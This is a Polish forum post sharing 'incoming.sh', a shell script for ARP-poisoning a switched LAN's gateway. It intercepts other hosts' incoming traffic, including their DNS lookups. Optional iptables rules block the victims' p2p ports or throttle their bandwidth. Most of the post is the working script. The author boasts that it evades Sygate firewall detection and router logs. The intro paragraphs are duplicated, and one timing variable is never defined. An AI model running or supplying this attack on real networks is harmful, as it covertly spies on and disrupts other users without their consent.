Nie chcem ale muszem się pochwalić moim nowym skrypcikiem
Nazywa się incoming.sh i ma za zadanie przechwycić ruch przychodzący do pozostałych hostów w naszym LANie, zbudowanym na switchach. Dokonuje tego za pomocą ARP poisoningu.
Dlaczego tylko przychodzący?? Jest to sposób zdecudowanie "cichszy", zwłaszcz gdy w sieci kilka kompów ma Sygate Personnal Firewall Pro, który wykrywa spoofing. W naszym przypadku, gdy pakiety ARP wysyłamy do bramy, Sygate milczy, a ruch przychodzący jaki dostajemy i tak pozwala nam na dowiedzenie się wielu ciekawych rzeczy jak chociażby adresów odwiedzanych stron (protokół DNS).
Ponadto skrypt został wyposażony w 2 IMHO ciekawe funkcje, które są tylko przykładem jak można fajnie pobawić się manipulując ruchem przychodzącym. Możemy mianowicie zablokować hostowi ruch na określonych portach (ja zdecydowałem się na porty popularnych programów p2p z oczywistych powodów :twisted: ). Poniewaz jednak takie gady jak Kazaa nic sobie z tego nie robią, proponuję wariant drugi, w którym po prostu ograniczamy hostowi transfery wg naszego widzimisię
Zachęcam do testowania i proponowania ew. nowych opcji
Jeśli chodzi o wykrywalność, to można powiedzieć, że biorąc pod uwagę jakie routery są na polskim rynku najbardziej popularne (najtańsze po prostu), nie ma z tym żadnego problemu - nie odnotują nam spoofingu w logach. Inna sprawa z serwerami, jeżeli takowe mamy w LANie, ale to już każdy musi się sam zorientować jaki poziom admin prezentuje i czy przykłada się do swojej roboty ;-)
Nazwa skryptu zwiastuje, że może kiedyś wyjdzie outgoing.sh, ale ponieważ priorytetem dla mnie jest niewykrywalność i cały czas myślę o oszukaniu Sygate'a, jest to pewnie kwestia jakiejś tam przyszłości.
PS Do moderatorów: jeśli ten post jest za długi a uznacie skrypt za interesujący hehe, śmiało go można wykasować a skrypt zamieścić gdzie indziej
Dlaczego tylko przychodzący?? Jest to sposób zdecudowanie "cichszy", zwłaszcz gdy w sieci kilka kompów ma Sygate Personnal Firewall Pro, który wykrywa spoofing. W naszym przypadku, gdy pakiety ARP wysyłamy do bramy, Sygate milczy, a ruch przychodzący jaki dostajemy i tak pozwala nam na dowiedzenie się wielu ciekawych rzeczy jak chociażby adresów odwiedzanych stron (protokół DNS).
Ponadto skrypt został wyposażony w 2 IMHO ciekawe funkcje, które są tylko przykładem jak można fajnie pobawić się manipulując ruchem przychodzącym. Możemy mianowicie zablokować hostowi ruch na określonych portach (ja zdecydowałem się na porty popularnych programów p2p z oczywistych powodów :twisted: ). Poniewaz jednak takie gady jak Kazaa nic sobie z tego nie robią, proponuję wariant drugi, w którym po prostu ograniczamy hostowi transfery wg naszego widzimisię
Zachęcam do testowania i proponowania ew. nowych opcji
Jeśli chodzi o wykrywalność, to można powiedzieć, że biorąc pod uwagę jakie routery są na polskim rynku najbardziej popularne (najtańsze po prostu), nie ma z tym żadnego problemu - nie odnotują nam spoofingu w logach. Inna sprawa z serwerami, jeżeli takowe mamy w LANie, ale to już każdy musi się sam zorientować jaki poziom admin prezentuje i czy przykłada się do swojej roboty ;-)
Nazwa skryptu zwiastuje, że może kiedyś wyjdzie outgoing.sh, ale ponieważ priorytetem dla mnie jest niewykrywalność i cały czas myślę o oszukaniu Sygate'a, jest to pewnie kwestia jakiejś tam przyszłości.
PS Do moderatorów: jeśli ten post jest za długi a uznacie skrypt za interesujący hehe, śmiało go można wykasować a skrypt zamieścić gdzie indziej
Kod:
#!/bin/sh
#
# incoming.sh
#
# Umożliwa sniffing ruchu przychodzacego do hostow w sieci opartej na switchach.
# Ponadto mozna wyciac hostom ruch na wybranych portach, lub ograniczyc
# przepustowosc lacza (przydatne w przypadku p2p). Wyboru hosta dokonuje sie po
# przeskanowaniu zadanego fragmentu sieci.
# Do dzialania wymaga arping, arp-sk oraz iptables.
#
# by Barca
#
BRAMA=192.168.0.1 # brama do internetu (adres routera/serwera)
ZAKRES=192.168.0. # rodzaj zakresu IP bez ostatniej pozycji, np. 192.168.0.
POCZATEK=100 # poczatkowy host do scanu w ramach podanego zakresu, np. 1
KONIEC=130 # koncowy host do scanu w ramach podanego zakresu, np. 255
CZAS=10000 # czas pingowania w ms - im dluzszy tym wieksze prawdopodobienstwo
# poprawnych wynikow ale rowniez dluzszy czas skanowania.
# Optimum: 10000
# skanowanie live hostow
MOJEIP=`/sbin/ifconfig eth0 | grep 'inet addr' | grep Bcast | awk '{print $2}' | awk -F: '{print $2}'`
MOJMAC=`/sbin/ifconfig eth0 | grep HWaddr | awk '{print $5; }'`
clear
echo $MOJMAC
echo -e "E[32m$MOJEIP033[0m"
hostname
echo
echo -e "033[4mPozostale live hosty w LANie:033[0m"
echo
KONIEC=`expr $KONIEC + 1`
while [ ! $POCZATEK = $KONIEC ]
do
IP=192.168.0.$POCZATEK
if [ $IP = $MOJEIP ]
then
POCZATEK=`expr $POCZATEK + 1`
IP=192.168.0.$POCZATEK
fi
arping -c 1 -r -w $CZAS $IP && echo -e "E[32m$IP033[0m" && nmblookup -A "$IP" | grep "<00>" | cut -f2 | awk -F" " '{print $1}' | head -n 1 && echo
POCZATEK=`expr $POCZATEK + 1`
done
# pobieranie liczby hostow
echo -e "E[31mSkanowanie zakonczone033[0m"
echo ""
read -p "Ile hostow chcesz sniffowac, max. 10 (q - wyjscie)? " LICZBA_OFIAR
if [ $LICZBA_OFIAR = "q" ]
then
exit
fi
Y=0
echo ""
# pobieranie numerow IP
function numery_IP
{
if [ $Y = $LICZBA_OFIAR ]
then
echo ""
else
Y=`expr $Y + 1`
echo -n "Podaj IP hosta nr "
echo -n $Y
read -p ": " IP$Y
numery_IP
fi
}
numery_IP
echo "Wybierz opcje:"
echo ""
echo " 1) tylko sniffing"
echo " 2) sniffing + zamkniecie portow programow p2p"
echo " 3) sniffing + ograniczenie transferu"
echo " 4) wyjscie"
echo ""
read -p "Co robimy, szefie;) ? " OPCJA
function porty_p2p
{
echo
echo "Konfiguracja iptables rozpoczeta"
# Gnutella, Bearshare, ToadNode, Limewirewith
iptables $X FORWARD -p tcp --sport 6345:6349 -j DROP
iptables $X FORWARD -p tcp --dport 6345:6349 -j DROP
# Emule, Edonkey, Overnet
iptables $X FORWARD -p tcp --sport 4661:4665 -j DROP
iptables $X FORWARD -p tcp --dport 4661:4665 -j DROP
# Hotline
iptables $X FORWARD -p tcp --sport 5500:5501 -j DROP
iptables $X FORWARD -p tcp --dport 5500:5501 -j DROP
# OpenNap, WinMX
iptables $X FORWARD -p tcp --sport 5555 -j DROP
iptables $X FORWARD -p tcp --dport 5555 -j DROP
iptables $X FORWARD -p tcp --sport 8311 -j DROP
iptables $X FORWARD -p tcp --dport 8311 -j DROP
iptables $X FORWARD -p tcp --sport 9002 -j DROP
iptables $X FORWARD -p tcp --dport 9002 -j DROP
iptables $X FORWARD -p tcp --sport 8888 -j DROP
iptables $X FORWARD -p tcp --dport 8888 -j DROP
iptables $X FORWARD -p tcp --sport 8875 -j DROP
iptables $X FORWARD -p tcp --dport 8875 -j DROP
iptables $X FORWARD -p tcp --sport 6666 -j DROP
iptables $X FORWARD -p tcp --dport 6666 -j DROP
iptables $X FORWARD -p tcp --sport 6257 -j DROP
iptables $X FORWARD -p tcp --dport 6257 -j DROP
iptables $X FORWARD -p tcp --sport 6699 -j DROP
iptables $X FORWARD -p tcp --dport 6699 -j DROP
iptables $X FORWARD -p tcp --sport 5190 -j DROP
iptables $X FORWARD -p tcp --dport 5190 -j DROP
# Battlenet
iptables $X FORWARD -p tcp --sport 4000 -j DROP
iptables $X FORWARD -p tcp --dport 4000 -j DROP
iptables $X FORWARD -p tcp --sport 6112 -j DROP
iptables $X FORWARD -p tcp --dport 6112 -j DROP
# Soulseek
iptables $X FORWARD -p tcp --sport 2234 -j DROP
iptables $X FORWARD -p tcp --dport 2234 -j DROP
iptables $X FORWARD -p tcp --sport 5534 -j DROP
iptables $X FORWARD -p tcp --dport 5534 -j DROP
# Bittorrent
iptables $X FORWARD -p tcp --sport 6881 -j DROP
iptables $X FORWARD -p tcp --dport 6881 -j DROP
# Inne p2p
iptables $X FORWARD -p tcp --sport 4242 -j DROP
iptables $X FORWARD -p tcp --dport 4242 -j DROP
iptables $X FORWARD -p tcp --sport 1412 -j DROP
iptables $X FORWARD -p tcp --dport 1412 -j DROP
iptables $X FORWARD -p tcp --sport 1214 -j DROP
iptables $X FORWARD -p tcp --dport 1214 -j DROP
iptables $X FORWARD -p tcp --sport 414 -j DROP
iptables $X FORWARD -p tcp --dport 414 -j DROP
iptables $X FORWARD -p tcp --sport 413 -j DROP
iptables $X FORWARD -p tcp --dport 413 -j DROP
iptables $X FORWARD -p tcp --sport 412 -j DROP
iptables $X FORWARD -p tcp --dport 412 -j DROP
iptables $X FORWARD -p tcp --sport 411 -j DROP
iptables $X FORWARD -p tcp --dport 411 -j DROP
echo "Konfiguracja iptables zakonczona"
}
function ograniczenie_transferu
{
echo
echo "Konfiguracja iptables rozpoczeta"
iptables $X FORWARD -p tcp -j DROP
iptables $X FORWARD -p tcp -m limit --limit $LIMIT/s -j ACCEPT
echo "Konfiguracja iptables zakonczona"
}
case $OPCJA in
"4")
exit
;;
"2")
X="-I"
porty_p2p
;;
"3")
echo ""
echo "Podaj jakas wartosc, rozsadny zakres: od 1 do 500 (im mniejsza tym"
read -p "bardziej przytniesz polaczenie, q - wyjscie) " LIMIT
if [ $LIMIT = "q" ]
then
exit
fi
X="-I"
ograniczenie_transferu
;;
esac
echo
read -p "Aby rozpoczac wybrana czynnosc, nacisnij Enter (q - wyjscie) " Y
if [ "$Y" = "q" ]
then
if [ "$OPCJA" = "2" ]
then
X="-D"
porty_p2p
echo ""
fi
if [ "$OPCJA" = "3" ]
then
X="-D"
ograniczenie_transferu
echo ""
fi
exit
fi
function koniec
{
clear
if [ $OPCJA = "2" ]
then
X="-D"
porty_p2p
fi
if [ $OPCJA = "3" ]
then
X="-D"
ograniczenie_transferu
fi
echo ""
echo -e "E[31mSniffing zakonczony033[0m"
echo ""
exit
}
# spoofing
IP=($IP1 $IP2 $IP3 $IP4 $IP5 $IP6 $IP7 $IP8 $IP9 $IP10)
CZAS=`expr $CYKL / $LICZBA_OFIAR`
echo 1 > /proc/sys/net/ipv4/ip_forward
Q=0
while :
do
if [ "$Q" -lt "$LICZBA_OFIAR" ]
then
echo ""
./arp-sk -c 1 -r -d $BRAMA -D $BRAMA -s $MOJMAC -S ${IP[$Q]}
Q=`expr $Q + 1`
read -p "q - koniec " -t 1 Z
if [ "$Z" = "q" ]
then
koniec
fi
else
Q=0
fi
done